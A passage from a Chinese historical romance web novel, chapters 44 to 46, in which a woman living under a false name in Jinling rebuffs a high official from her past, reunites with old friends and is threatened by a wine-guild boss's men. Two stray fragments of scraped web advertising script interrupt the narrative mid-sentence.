“大公子，您可算来了。” 谢泓着了一身薄锦圆领袍，腰间随意地系了同色腰带，显然刻意做了寻常打扮。 只是他气质实在出挑，此刻从马车那里缓缓行来，已经有许多人的目光有意无意的往他身上飘。 见到叶采苓，他礼貌地施一礼。 “林夫人，唐突了。” 见叶采苓一双明眸看着他，谢泓却没来由地觉得欣喜。 不是幻觉，真的是她。 她尚在人世。 叶采苓身体有一点僵，在心里暗暗咬牙。谢泓这是算准了她不会应叶采苓这个称呼，开口真唤她林夫人。 唤林夫人的话，却不能不回应了。 她忽地扬起唇角，温柔一笑。 “屡次见到程尚书，真的是好巧啊。” 好巧那两个字，她咬字有些刻意，专门让谢泓听得分明。 谢泓明明听出来她话里的意味，却只佯装没有听到。 道：“今日来魏家拜访，并非是公务。实则是想看看魏家有无需要照拂的，程某也可尽绵薄之力。” 叶采苓点点头。 “程尚书如此关怀民众，实乃我金陵幸事。如此，我便先行告退了。” 44. 相逢 谢泓眸光深深。 但叶采苓转身的动作太过干脆，甚至让他也有几分怔愣，怀疑自己到底是否真的与她相识。 她的拒绝从来都是温柔而从容。离开的时候却毫不留情。 云白在一旁小心地看着谢泓的脸色。 他很少见到谢泓有这样的神情。 就像承霜负雪太久，松柏或许亦有折断的时日。 过了许久，谢泓轻叹一声。 “先去看看魏氏。” “是。” 云白当即应声。 事情办妥，谢泓离开魏氏住的杂院，回到住所，却见到厢房外面立着一个陌生家仆。 一见谢泓，便恭敬地打了招呼，道是自家主子，酒行的梁喜遣他过来的。 也并不说理由，只将怀里抱着的赠礼奉上。 那是一个云水纹的月白缎盒，仅这盒子，望着做工便考究。 谢泓负手立在那里，并不接过，也不开口言语。 家仆办过许多类似的事，心里知道这些人起初都是要端着的。 只笑嘻嘻地，伸手把那缎盒先启开了。 宝光流转。 盒子里鎏金嵌玉的，分明是一株形态完整的珊瑚枝。细看这珊瑚却并不是真正从海里生长出来的，而是拿碎珠细细地串了，一粒粒攒起来的。 金玉流明，浑然天成。 “大人，咱们金陵不临海，但这珊瑚枝子，小的斗胆说一句，怕是东海的珊瑚也胜的过。这小玩意，是我们家主子自己找师傅做的，还请您笑纳。” 却见眼前的大员随意地瞥了一眼，却并没有多看这赠礼一分。 只挥挥手。 家仆纵然平日再圆滑，此时难免有些意料之外。 他们家主子在上下打点关系这里，向来出手豪绰。 很多人见到这些赠礼，不说当场喜形于色，却也会不动声色地先将此物收走。 怎么到这位大员这里，却如此不留情面。 但话已经出口，家仆也不敢违逆，当即将东西撤下。 礼没送出，也不好多逗留，当即离开了。 谢泓靠在椅背上吐出一口气。 梁喜。 魏家的惨剧，逃不开梁喜背后的金陵酒行，他却敢不应金陵知州的召。 如今则暗地里开始活动，背后的心思倒很明显。 梁氏府邸。 “东西退回来了？” 男子在太师椅上坐着，将手里的烟杆转了一圈。他脸上带着些油光，此刻有些烦躁地敲敲烟杆的柄。 自有美貌婢女从一侧上来，小心地双手托起烟杆离开了。 “此事有些难办。主管此事的是吏部尚书，此前很少从京中来查探。”家仆跪在地上，大气不敢出。 梁喜皱起眉头。 不耐烦地挥了挥手。 “东西是好东西，送不出去？你自己看着办。” 家仆一迭声道：“小的这就去想法子，想法子。” 梁喜从鼻腔中嗤出一声笑。 “罢了，你们主子又不是没有旁的办法。” “我先想办法见见这几个人，才好对症。” “你们可知，城郊新开了一处食肆，说是一等一的好？” * 去城郊的道路算是平坦的。 马车内，叶采苓坐在软榻之上，向外看去。 “这便是苇青洲么？” 远山杳水，汀上沙洲。 她眼前的景色与金陵城里所能看到的截然不同，此刻耳边传来鸥鸟的飞鸣，心好像也静了下来。 “正是。” 静霜之前来探过一次路，此次便给叶采苓一一指来。 这是宁氏的新产业。 苇青洲在金陵城郊，宁金鹤此前早就计划好，在此地开间食肆。食客们在汀洲之上饮酒谈天，融于山水，正是美谈。 开业几日，已经在金陵城中达官贵人之间有了些名气。 宁氏自然早早地邀请了叶采苓。 这几日事情太繁杂，倒是此时她才有了空当。 “只是，”静霜看了一眼叶采苓，才小声道：“巡按组今日尚在金陵，若是他们再寻您谈事，又如何是好？” “这事本就与酒行有关，他们再追责，也追不到我们头上。” “但那日，墨行吴会长没有出头，是让姑娘说的摊派一事，若是追究起来……” “无妨。” 叶采苓明白静霜的意思，但面见眼前的景色，也笑道：“且先上洲罢。之后若有事，便再议不迟。” 洲上十分平缓开阔。 远处鸥鸟在浅滩起落，日光从天顶上穿下来。是恰到盛时的秋日江景。 “这位贵人，您要的茶器已经拿来了。” 有伶俐婢女带着一套茶具递过来，叶采苓抬手接过道谢。 宁氏的这食肆就在沙洲之上，观景是极好的位置。 她用茶刀将茶饼熟练地分开，拨出一块，搁到壶中。 水流没过茶饼，叶片逐渐舒展，茶汤显出褐橙色。 这白茶的品质尚属不错的，拿来做铺子的招牌并无差错。 倒掉茶水，她执壶再冲泡。 “我给姑娘添些水去。”静霜在一旁望着，此刻很有眼色地接过。 一转身，静霜撞着一人，发出一道吃痛的声音。 “失礼了。” “无妨，都是小事。”身后传来年轻男子的声音，带着些笑。 叶采苓闻声看过去。 男子一身玄青圆领袍，袖口扎紧，十分利落随性。 此刻恰迎上叶采苓的目光。 英气眉宇间，那双眼闪过震惊，盯着她却是再没移开眼神。 眼前这人是……时青卓？ 假死脱身之后，她隐居金陵。已经许久未见过故人。 算算时日，却有几年没有见过他了。 京中记忆里，时青卓正是年少时候。 利落地，眼瞳明亮如星。少年打马过斜桥，好一段意气风发的日子。 如今望着他，单看眼睛就沉稳了许多。 下颌的线条变得清瘦而利落。 像是经历过许多事。 ……去漠北甘州之前，时青卓曾与她隐晦地表达过心事。 她明白他心意真挚。 只是那时满心满眼都是谢探花，只轻轻揭过此事，并未多做回应。 如今看时青卓的表情，却像是全然没受当时的影响，只是满眼的不可置信。 还有几分惊喜。 “敢问姑娘——”时青卓显然已经认出了她，正要唤出那个名字。 叶采苓当即立起身来。 向他微微施上一礼。 “——这位公子，可否认错人了？” 时青卓与她并没有什么过节。 甚至她对他，心里有些愧疚，但现在在金陵，她就只能是林彩。 她已经想好了，若是时青卓真的要揭穿她的身份，她也只能坚词否认。 时青卓一愣。 却下意识地，没有辩解，反而顺着她的话发问。 “那么姑娘芳名是……” “林彩，我是林彩。” 叶采苓咬咬牙，心里有些迟疑。 倘若真的…… 他真的咬定了她就是叶采苓。 她又该怎么办。 要离开金陵，再换一处地方么。 却见时青卓忽地笑了，那笑意从眼底开始，漫过眉梢眼角。 “原来是林姑娘啊。幸会，我是时青卓。” 叶采苓一愣神。 时青卓应声的的确太快，但看起来，他的神色又很了然。 “你，可否之前见过我？” 叶采苓反而一滞。 却见时青卓身后又缓步行来一位女子。 “这不是——” 时秋心已经做了几年女官，此刻发髻也从初识她时的双髻变成了单侧的坠螺髻。 她一见到叶采苓，开口便要喊名字。 “秋心，这是林姑娘。” 时青卓果断地截住了她的话头。 时秋心与长兄对视一眼，先是怔愣。 又逐渐回过神来。 “兄长，莫不是还有什么深意？” 她一边问着，一边过来搂住叶采苓的手臂，眼睛眨了眨。 却是开口对叶采苓道。 “是林姑娘也好，是叶姑娘也好——只要是你这个人，旁的就没有关系。” 时青卓亦眨眨眼微笑，抬手斟茶。 “方才林姑娘问我是否见过你，家妹说的甚好，我也是如此打算。” 叶采苓望着时家兄妹的脸。 故人言笑晏晏，却是都捧出一颗真心。 心里忽地就放下了。 她伸手挽住时秋心，看着这位昔日密友。 “幸会。” 却也展眉一笑。 “只是两位，可需要唤我一声林夫人了。林彩新寡，现下在金陵经营一处铺面。” “林夫人，哎呀，总觉得有些奇怪呢。”时秋心眨眨眼。 “不如我唤你阿苓？” 沙洲之上，三人落座。 与时家兄妹的重逢，却没有让叶采苓有那种心里不虞的感觉。 他们两个人，好像都是明亮而热忱的， 让她想起秋日的高天朗月。 又都心里如明镜一般，猜到她的身份有变，却都默契地不提。 叶采苓挽着时秋心的手：“时姑娘，怎么来金陵了？” “我们回家祭祖，要绕道金陵去南陵。”时秋心笑道：“路上听说此地新开一处食肆，十分得宜。” “对了，听说此处还能垂钓呢。” “这个时辰，若是能钓上江鱼，便恰好能在店里烹好。”叶采苓一笑，伸手指着她方才下的钓竿。 “方才婢女已经架好钓竿了，只是此处江鱼嘴刁，怕是饵料不合它们心意。” 时秋心拊掌笑：“这垂钓之前，要先抛洒些饵料，方能吸引来鱼群，你们且等着。” 时秋心行动很快，当即去找饵料。 身后传来一阵喧哗。 来苇青洲并不需要坐船，有一座浮桥可以直接通到洲上。但因为地势幽静，通常上沙洲都是静悄悄的。 此刻却听到许多声音，像是车驾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 接二连三停下的声音。 有这么多人么？ 她起身回望。 岸上车马不少，望着形制，却好像是金陵本地官员的车驾。 她皱皱眉。 巡按组不是还在金陵么，怎么这个时候，反倒有心来这里游玩。 叶采苓微微转头。 “望着像是本地官。”时青卓也看到了那些车驾，耸耸肩。“今日吃东西，大抵会有些吵闹。” “阿苓，兄长，我把饵料拿来了。”时秋心方回来，语气有些迟疑：“厨子说是要烹饪大菜，怕是我们的江鱼就算钓上，也来不及烹了。” “不若我们便回去吧，我知晓金陵有些其他好馆子。”叶采苓道。 时秋心应声，去将新制的饵料再还回去。 正在此时，先前随意甩在水里的鱼竿却动了。 叶采苓伸手去扯鱼竿。 冷不防手背传来温热的触感——时青卓没想到她的反应也这么快，两人伸手之时便不偏不倚碰到一起。 “叶姑娘，我不是有意……” 时青卓讲话却又开始磕绊起来。 他生怕叶采苓对他留下不好的印象。如今故人重逢，她虽然换了服饰姓名，但在他眼里，仍是一如当年。 “无事。”叶采苓也收手，语气带着安抚。 故人相见，又不是什么大事。 她对着时青卓宽慰地一笑。 * “部堂大人，部堂大人？” 浮桥尽头。 金陵知州有些张惶地唤着立在最前面的那位程尚书。 今日巡按组众人都返回金陵。 酒行梁喜知晓自己此次的事情难以揭过，此前已经上下活动了许多次。 此时终于借着江南府台的名义，说动了几位巡按组的官员，与他们共同吃个饭。 程尚书按理说很少参与这类迎来送往，今日却也破天荒地来了。 吏部尚书是正二品。 有吏部尚书参与，众人便以他为首，亦步亦趋地向沙洲行。 此刻他却莫名地停下了，神情一望便知不虞。 谢泓薄唇微抿，静静地看着江面。 他今日之所以答应，是因为公务。区区一个酒行会长，竟然能借到知州、府台的面子，反复游说。 此前那些名贵赠礼，也让他心里十分警惕。 官场之蚀，正是这样漫不经心产生的。 游说到这个份上，他却也实在是想会会这位商贾。 一路行到浮桥之前。 却看到仿佛烙在眼前的那道身影，竟然也在此处。 她眼睫低垂，却并没有面对他时的那种决绝与生疏。反而与那男子有说有笑。 江水迢迢，江面上像是洒着碎金。 鸥鹭起落，远处江涛如海，真是很好的场景。 她平日里，就是这样的么？ 没有他，她依然过的很好。 没来由的，谢泓心里一阵抽痛。 他迈步走了过去。 叶采苓正收起鱼竿，与时青卓一道往浮桥那里行。时秋心尚在后面。 一抬头，却恰恰见到那人，立在浮桥尽头。 她撞进一双如同寒潭的眼。 谢泓深深地吸了一口气，再开口，却是与叶采苓极为熟稔的一声招呼。 “林夫人，今日是来沙洲游玩了？这苇青洲，可有何处值得赏景么？” 叶采苓尚未回应，金陵知州大惊。 这位程尚书平时都是不食人间烟火的模样。他还以为京中大员都是这样，刻意与他们这些本地官员保持距离。 没想到却与这位墨行的林夫人如此熟悉。 开口语气如此随性，两人一定私交甚笃。 他望向叶采苓，心里嘀咕。 他当时还指使过林夫人做杂事。这位夫人竟然识得如此人物，怎么早些时候完全没有透露。 却见林夫人微微向后退了半步，深深地施了一礼。 “见过程尚书，见过诸位大员。民女今日来汀洲闲游，不慎惊扰诸位雅兴。现下自请离去。” 众人面面相觑。 旁的人若有这样的机缘，一定想尽办法攀上关系。怎么这位林夫人，表现得却与程尚书十分陌生的样子。 谢泓却道：“今日这里有宴饮。林夫人若是无事，不如与时小将军一起来？” 吴白羽正缀在队伍的最后头，按理说他并无资格参与今日的宴会，是他通过金陵知州，好说歹说要跟来。 此刻睁大双眼。 这宴饮他能参与，已经提前谋划了许久。 林夫人居然如此轻巧地就受邀了？ 谢泓并不关心身后同僚的心思，只带着几分不易察觉的忐忑望着她。 却见面前的女子微微摇摇头。 又是那样的温柔拒绝。 谢泓心里要被气笑了。她这是铁了心的装不认识他，是么。 却能与时小将军言笑晏晏？ 在众人看不到的地方，谢泓袍袖里的手已经攥起，骨节微微凸出。 却忽的负手立在桥头，霁月光风的一笑。 “如此，甚好。” 45. 暗涌 那话语落在众人耳中。 明明是温和到甚至有些退让的意思，却让人心里暗自生出一丝凉。 为官者极少有糊涂的，此刻已经有下属暗暗交换着眼神，心里再次盘道着这位林夫人，与朝中大员到底是何关系。 吴白羽更是盯着叶采苓。 她知晓自己，方才放弃的是怎样的邀约么？ 今日是酒行梁喜组的局，但参加的都是金陵各行说的上话的人物。 况且还是为首的京中大员在开口邀请她。 场面微妙地静下来，鸥鸟在远处江滩起落，带出一阵翅膀扇动的窸窣。 暗流涌动。 叶采苓并没有理会。 面对许多心思各异的目光，她依旧温柔从容地归拢衣袖，微施一礼。 “多谢程尚书好意。” 女子裙裾微微摆动，鬓间簪着的攒珠琉璃步摇被江风吹着有些偏移，流苏碰撞出细微的金石声。 但背影端直而从容，一步一步走得决绝。 轻轻掠过谢泓。 向浮桥之上走去。 沉默之中，众官目光只得再次移向为首的那位朝中大员。 实在是因为，大员不动，他们也不敢迈动脚步。 而谢泓好像没有注意到，他自己已经在浮桥尽头立了许久了。 他依旧是负手而立，单侧手笼在袍袖之中，只任由江风吹动衣摆。 眼睛只凝望着渐行渐远的那个人影。 谢泓入朝为官十载，自认为自己行事已经足够周全，但现下却无端地从心里生出一种失意。 就好像在他不知道的地方，有什么事情已经暗自滋长，脱离了他的控制。 为何……她连一个眼神，都不愿意给他。 他微微皱起眉头，忍受胸口传来的那一阵没来由的抽痛。 有什么事情，他一定尚不知晓。 但自从她失去踪影。 他已经竭尽全力去找，身边所有能发动的力量，都被他调用。 是不是……还有什么事情她没有告诉过他。 方思虑到这一层。 却见到浮桥中女子的身影踉跄了一下。 * 叶采苓的确是走的越来越慢。 她只想着离开与时家兄妹另寻地方叙旧，却忽略了江水的自然节律。 来苇青洲的时候，她与静霜有说有笑，还有几个食肆的婢女护在她身边，她一路从容过来，并没有注意到身旁的江水。 此时是未时。 ——这正是涨潮的时辰。 浮桥的锚固点在两岸，深深扎入土中。中间则用轻便稳固的杉木排成桥面。 此刻桥面的高度已经不能再变化，而江水还在往上升。 理智告诉她浮桥是安全的，但脚步却不受控制地逐渐放缓。 水。 铺天盖地，陷入口鼻的水。 她独自一个人在浮桥上行走，却又下意识地开始疑惑，自己是否刚刚回到了坠江的时日。 拼死取回的消息被温道盈截下，又得知温道盈与谢泓，太后赐婚，结下一段好姻缘。 普天之下都各有各的喜事。 唯有她像个笑话。 船上明晃晃的刀尖好像又跳到眼前来了，刀尖和江水比，又孰好孰坏呢？ 脚步在她没有注意到的时候，已经停顿下来了。 叶采苓浑身轻轻地颤抖，站在浮桥半途，却不知道自己应该向何方去行。 四面都是茫茫的江水。 眼前好像在逐渐暗下来。 “别怕。” 耳边忽然响起一声呼喝。 那是青年人明亮的音色，但此刻却透出明显的紧张。 手臂传来坚实有力的触感。 她缓缓抬头，看到时青卓正盯着她。 见她意识尚清醒，紧绷的神情方逐渐放松，变成关怀神色。 方才，时青卓见她在浮桥上踌躇后似乎站立不稳。毫不迟疑地，连浮桥边上那一众官员都没有搭理，大步流星就向叶采苓那里行去。 所幸他来的算是及时。 叶采苓喘息了片刻，感觉眼前朦胧的雾气好像在逐渐消退了。 她低头向时青卓道谢，换来对方洒脱一笑。 “见你无事便好，怎么，是突然晕眩了么？” 叶采苓轻轻地摇摇头。 “……身体前些年受了寒，有些小毛病。不妨事。” 时秋心从他们身后跑过来，伸手挽住叶采苓。 “阿苓，我们走罢。” 叶采苓轻轻呼出一口气，放松地靠在时秋心的身上，向她露出一个笑意。 “走罢。” * “程尚书，程尚书？” 梁喜亦步亦趋地一直跟在这位大员身后。 但他今日做东，眼见着众人在这里进也不是，退也不是。 又想到今日花费重金的饭菜，若再等可能就要暴殄天物。当下心一横，咬咬牙提醒了一句。 “哦？” 谢泓微微低垂双眼，天光落在他眉目之上，在眼前打出一小片暗影。 再抬头，又是先前清正卓然的模样。 他缓缓提起袍角，迈动脚步。 步履从容，好像刚才只是在江头静静地赏了一会景色，并没有什么异常情况。 但只有谢泓自己知道。 方才他一直立在浮桥尽头，目睹了全程。 那两个人相携的背影就像烙在他眼前一样，就算现在他已经在江中食肆入座，却依旧挥之不去。 即使后面，他看到是时家兄妹与她一起来的，最后也是三人共同离开。并不是她单独与时青卓一同离去。 但谢泓依旧觉得十分不适应。 就像心里有什么东西硌着，不能去想，不能去触碰。 一碰便是连着血肉的疼。 方才……时青卓奔跑过去的时候，谢泓并没有注意他，只望着叶采苓。 但时青卓的担心太过于明显，奔跑时速度都极其快速。 谢泓即使不看他，却也能清楚地感觉到，身旁掠过一阵毫不迟疑的风。 时小将军的关心来的太过直白与热烈。 谢泓手指微微张开又合拢。 像是想抓住什么。 或许是刚刚她从他身边经过时，带起来的那阵步摇碰撞的琳琅清音。 谢泓深吸一口气。不动声色地压制住心里刚刚翻起的那一阵抽痛。 她不认识他。 或者说，她坚称自己不认识他。 他真的好像把她弄丢了。 * “主子。” “墨买回来了？” 男子在几案前翻着书卷，抬头，见云白进来。 云白手里抱着空包裹，苦笑道。 “并无，铺子里的帮工只说，不售给同一人。还有许多其他的客人要购墨。” 谢泓闻声没什么表示，目光还集中在书页上。 他一直望着那一页，却是再也没有翻动过。 “大公子，现下还需要小的做什么？” 谢泓将手中书页一合。 “云白，你今日去，可曾见到叶姑娘，不，林夫人？” 云白摇摇头。 “铺子里只有帮工，与静霜姑娘。” 谢泓微微皱了皱眉头。 那日江中梁喜设宴邀请他们之后，他对这人的了解更深了些。梁喜此人做派看似是混不吝，但实则心里有一笔私账，遇事睚眦必报。 那日魏氏惨案，起初巡按组便觉得与他脱不开干系，此时打过交道之后，他更坚定了这样的想法。 而叶采苓曾在众人面前，说过行会摊派费的事情，当众下了梁喜的脸面。虽然这已是金陵众行会心照不宣的事，但有没有人拿到台面上，却看起来十分重要。 若他对梁喜没有看错…… 叶采苓可能会遭到此人的报复。 谢泓他已经另行遣人去墨铺守着了。 此刻心里却没来由地觉得有些不对劲，当下便起身，唤云白备轿。 “程尚书——” 正在这关口，门口进来一人，言语态度极其恭敬。 是金陵知州。 见有事务需要处理，谢泓不得不一理袍袖，再次落座。 金陵知州半躬着身子，小心地看了一眼谢泓的脸色。 对方脸色不是很好，于是金陵知州本来想试探口风的计划，也就暂时搁置。 只笑着说：“程尚书在金陵也呆了些时日，听闻部堂大人爱墨，小的也网罗了些不错的墨锭，若是大人看得上——” 谢泓冷冷地看着他，并没让他落座，也不回应这明显示好的意图。 “小的，还有一事要禀报。” 见程尚书明显已经很不愉快，金陵知州也不再敢东拉西扯，慌忙开始汇报。 谢泓按下心中那股无名火，坐在那里端起茶杯饮了一口。 听了片刻，却是遽然起身。 “你说，酒行要做何事？” * 后院里叶采苓站着，双手轻轻地抱在胸前。 那是一个下意识防御的动作。 眼前那几个男子，显然来者不善。 为首的男子笑嘻嘻地往柜台上一靠，捋起衣袖。 叶采苓余光看到他刻意在显露臂上的刺青。 “污蔑我们酒行的人，可是你？” “那日若不是我如实说，巡按组一定会更加生疑。何来污蔑此言？”叶采苓不卑不亢，只如实说道。 听到她的话，光头男子唇角一撇。 “我们行会做生意向来规矩，你怎的知晓我们有摊派费？莫不是看我们做的好，你与他们串通一气咯？”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 身后几个小喽啰不耐烦地踢了一脚墨铺的大门。 木门撞击背后的墙壁，发出一声闷响。 叶采苓静静地立在那里，并没有被这种气氛所影响到。 这种时刻，自证决计不会有效果，况且对方就是为了给她添堵而来。 她心知此人难缠。 “不动？这意思是，还是要我来请么？”光头男子一笑：“还请林夫人去梁府走一遭吧。” 这一耽搁，门口又传来响动。 却见梁喜走进来了，道：“怎么耽误了这么久？怎么教你的，请个人都如此费劲哪？” “见过梁头儿！” 先前几人都立在旁边了。 梁喜进来，望望叶采苓的脸。 忽地扬声道：“这不是林夫人么？那日江洲之上，可真是大威风啊。” 语气里有几分刻意的亲昵，但又显得很虚伪。 苇青洲之上，叶采苓是毫不留情地拒绝了谢泓的邀请没错。 她自己并没有什么感觉。 但在那日赴宴的官员那里，却实则产生了不少的震动。许多人私下里去查探，这位林夫人与京中派来的程尚书是何关系。 但都铩羽而归。 林夫人是新寡，夫家背景神秘，在金陵城经营一家墨铺，从商已经两三载。 将背景掀个底朝天，都查探不出来，她与京中程尚书的交集。 梁喜此刻也在暗自揣摩。 属下知道他的性子，今天过来就是要立规矩的。不管是谁，敢影响他金陵酒行的生意，都要吃点苦头。 只是他今日来了这墨铺方才知晓，要吃苦头的，是这位林夫人。 若是她真的与京中牵扯颇深……这人，还能不能动？ 梁喜在心中权衡着，表情阴晴不定。 下属在一旁按耐不住了，已经上手扯她手臂。 梁喜还在犹豫。 这林夫人若真是背景通天，他还真的不敢动。但他并没有查出来她身后的背景，会不会，那日江州只是一场寻常的拒绝？ 她毕竟是个女子，可能只是眼皮子浅，顺嘴拒绝了。 况且那日，明明最后程尚书表情并不算很好。应该是对她也有些意见。 想到这一关节，梁喜心头一松，也就任着下属扯她出门了。 这位林夫人，应当是并不算什么重要人物。 院外一阵车马急停的声音， 很快，从外间步入一个男子。 光头男子走在前头，皱着眉头打量对方。梁喜尚在里面，没有出面。 男子一身玄色暗纹直裰，脊背挺直，气度高华。 光影起落间，他眉头微蹙，大步向这里行来。 平日里清正斯文的一张脸，此刻收回那份温然，便显得清寒肃杀起来。 看着年纪尚轻，但那种气息让他下意识地觉得自己的气势矮上了三分。 这人是哪位金陵大员么？ 他怎么未曾见过。 回过神来，光头男子却又硬气起来。 金陵城里，没有他梁主子摆不平的事。况且主子这会就在他身后呢。 于是光头并不搭理走进来的男子，手里拉扯的动作还在继续。 谢泓眸光冷然。 身后已经有人小跑着过来，将光头男子的手狠狠打开。梁喜认清那人的脸，赶忙出来，脸色极其谄媚。 “放开！别扰了贵人！” 梁喜几步走上来伸手欲握住谢泓的手，嘴里连声唤谢泓。不忘转头呵斥一句光头男子，令他马上松开手。 梁喜在一旁讪讪地笑着，心里叫苦不迭。 今日真是不宜行事。 再睨一眼程尚书冰寒的神色，他心里又沉了几分。 今日这一遭，怕是真的走错了。 这两人绝对牵扯颇深。若不是如此，怎么一动这林夫人，程尚书却来的如此之巧？ 现下，他只能当即对自己的属下再呵斥几句，试图挽回一些颜面。 “怎么做事的？惊扰了贵人，还不跪下！” 光头男子立即跪倒在地，犹豫了片刻，又加了些码匍匐在地上。 谢泓一双眼睛此刻一扫之前的温缓清正，周身气息仿佛被冰雪包裹。 莫名的让人想起冬日承霜的寒松。 他没有分半点关注给诚惶诚恐的梁喜，只匆匆地过去，伸出手臂欲扶一旁的女子。 “……你可安好？” 那枝条已经绷到了极致。 叶采苓睫羽低垂，恰到好处地遮住她一双眼睛，避开了两人目光的触碰。 唇瓣轻启，还是那个谢泓不愿听到的称呼。 “程尚书……多谢。” 声音有些不易察觉的颤抖，但依旧十分决然。 还是不认识他，是么？ 谢泓清楚地听到自己心里那根弦绷断的声音。 46. 潮声 室内静下来。 梁喜知道自己闯了祸端，见京中大员不理睬他，已经低声呼喝几个随从，与他们一道赶紧离开。 这种时候，多留一秒钟都可能让自己更受到厌恶。 而谢泓并不动。 直到店中人员走空。 他依旧定定地站在那里，望着叶采苓，心思复杂而沉黯。 “你……当真不认识我？” 犹豫了片刻，说出的话却还是带着些隐隐的希冀。 想看到她脸上再次露出明净笑意。 或者至少，想听她唤他的名字。 叶采苓轻轻地活动了一下自己的手臂。方才被梁喜他们攥的着实有些紧，此刻手臂传来疼痛，应是淤青了。 她叹口气。 改日去买些活络的药膏涂上罢。 她好像并没有在意面前立着的那道人影，已经沉到自己的世界里去了。 谢泓望着她。 她的沉默让人感到更加心惊，就像在不知道的时候，她已经与他走的越来越远。 似是有一片沉沉的云气笼罩在两人上空，伸手一攥便会收到满手的潮意。 空气里是浓的化不开的苦涩。 谢泓顿了许久，再开口，已经带上了少许祈求的意味。 “采苓……” 他唤她。 “可是之前，我有过什么不妥的地方？”眼前的女子终于从自己的世界里出来，给他投来一个眼神。 平静而悲悯的。 就好像她终于认清楚自己现在身处何方。 叶采苓静静地看着谢泓，没来由地觉得有些酸楚。 事到如今，他还在问她。 她曾经经历过的那些痛苦，在这里就好像轻描淡写的都被揭过，不被提及一样。 “你那日浮桥上，可曾记得，见到我在中间停下了？” 叶采苓轻轻开口，语气寻常，却像是在聊些风马牛不相及的事情。 她终于舍得与他说话了。 谢泓如获至宝，没怎么停顿，便毫不迟疑开口。 “是，我那时……” 那时一直在望着你。 叶采苓好像并不关心谢泓的回答，在听到对方肯定的话语之后，便又自顾自地接着说下去。 “我停下来，因为我害怕。怕江水，江水在我眼里就像是另一个世界一样。” “我若不走，就会被水里的世界拉过去。” “但当我试着迈步，又会觉得脚步虚浮，难以呼吸。” 谢泓一怔。 “我记得你从前并不怕水……” 云州多江，他与叶采苓初见的时候，对方就在印坊的溪水边，将墨锭归拢好。溪水映着天色，澄然如镜明。 叶采苓微微摇摇头，开口一笑。 “谢首辅，是忘记了么？还是觉得人在江水里挣扎之后，侥幸捡回一条命之后，还是对水能心生喜爱？” 她轻轻地扬起唇角。 “是啊，你多忘事。你不会记得了。” 谢泓眸光里多了些难以言喻的神情。 像是有些怅惘。 “实则我知晓的……” 天色渐渐暗下去，夕阳橙红的光从屋檐上斜斜地打进室内。日影渐斜，又一寸寸地移动去了门外。 室内最后一丝光芒被抽走，天空转为晦暗的深蓝色。 谢泓却依旧没有动。 他张了张嘴，试图发出声音。 他怎么会不知道？ 年年去江边拜祭的人，正是他。 但江水寒凉，他实在以为她已经殒身江中。 况且温道盈回朝上报的时候，只说枢兰杀手将她追杀到江边。却从未提及，她可能获救，更未提及她从漠北甘州取得许多重要消息。 “你可知回来之后，甘州棉衣案处理了一批官员。那棉衣品质有问题，牵扯出许多势力。温道盈说是她一力取得，我想，实则取得重要证据的，可是你？” 叶采苓摇摇头。 一缕鬓发自她脸颊滑落，谢泓下意识地想伸手触碰，她已经温柔地抬手，将鬓发拢回耳侧。 就像没有注意到谢泓的动作。 她自顾自地开口。 “漠北。” “风像刀子一样，沙漠看不到尽头。你乘着马从那里过，会感觉天地开阔，但太开阔了，就又显得孤零寥落。” “天高皇帝远。女官过去查勘，是有一个封号。但当地人又怎么会看着那封号就买你的账呢？” “漠北苦寒。此前在诗文中听过，去了才知晓，那是真的寒凉。” 只是，我独自在漠北查勘的时候，你在哪里。 独自面对恶意的时候，你又在哪里呢。 你在红帐中，是么？ 红烛高悬，你挑开温道盈的盖头，见到她的脸颊。 叶采苓敛去眸中酸涩的失落，只扬起一张玲珑脸孔，向谢泓微微笑道：“如此，我也无甚可说的了。” 是不是，又有什么关系呢。 毕竟……你什么都不知晓啊。 她起身欲走。 与谢泓擦身而过的瞬间，却被对方伸出的手臂阻碍了片刻。 谢泓抿着唇，不看她，手却拦在她身前。 他想握着她肩头，与她说。 说他悔了。 他昔日曾专程为她而来。他以为这样，便能护她无忧。但令他始料未及的，却是她独自经历过这么多事情。 “你可知温道盈是如何上报的？” 谢泓忍了许久，才说。 “她全然隐去了你的存在，那些消息，她都是安到了自己的头上。” “是啊，毕竟死人不会说话。” 叶采苓点点头，却不在这个问题上与谢泓多纠缠。 她摆明了不想再与朝中多做牵扯，此刻礼貌而疏离地点点头。 “我知晓了，那我可以走了么？” 谢泓有些艰涩地开口，并没有抽回手，只是带着些固执，望着她的眼睛。 “你告诉我，我错在何处。” 他知道他一定有地方做错。 但叶采苓如此决绝，却让他完全无从有修正的余地。 叶采苓只道。 “谢首辅，你没有错。” 是她错。 错在信了这个人会如他的承诺一般，会爱她信她，无条件地站在她身后。 她略微用了些力，侧身来绕开他拦着的手臂。 谢泓望着她的背影，却忽然好似想到了什么。 “你方才唤我首辅？你……认出我来了，是么？” 叶采苓心头一紧，暗道谢泓这个人当年能如此轻易地得中探花，心思确实缜密。 此刻却干脆立在这里。 “是谢首辅，又如何？我如今已经在金陵有了自己的人生。若你尚且念我几分好，不如便从此一别两宽。” “我在金陵当我的墨行掌柜，你回去当你的内阁首辅，这样不是很好么？” 谢泓望着她的背影，却是一时间怔住了。 原来心口的抽痛是可以具象的，此刻他觉得耳内涌起浪潮，一瞬间不知道如何接话。 待那一阵心悸过后，叶采苓已经掠过他身侧。 在这短短的一瞬，谢泓已经在心里想到许多可能产生误会的地方。 头脑飞快地整合着，可能存在问题的信息。 他忽地开口，在叶采苓走出门口之前，勉力扬起声音，试图让她听见。 没头没脑的一句，却成功的让叶采苓背影顿在了门口。 “我没有娶妻。” 他向前走了几步，又轻声重复了一遍：“我不知道你是不是听她们说了什么，但我可以和你说，我没有娶妻。” 叶采苓顿了片刻，微微偏头，却是笑了。 这就是迟来的消息么？ “谢首辅，你娶妻与否，与我说来，真的重要么？” 叶采苓终于转身，面对着脸色沉黯的谢泓，目光平静而决绝。 于是谢泓那一声求和的话却被堵回喉头，再也无法开口。 他看着叶采苓裙裾微摆。 一步一步，离他渐行渐远。 想要再伸出手去触碰她，却再也够不到了。 * 梁氏府邸。 梁喜自从回来之后，便没有坐下来超过一刻钟过。家仆看着梁主子不断地从座榻上起身又坐下，却是全然不敢接话。 有这种反应，说明主子正在气头上。 这种时候若有人敢去打搅他，下场都不会很好。能全须全尾离开梁府都已是幸运。 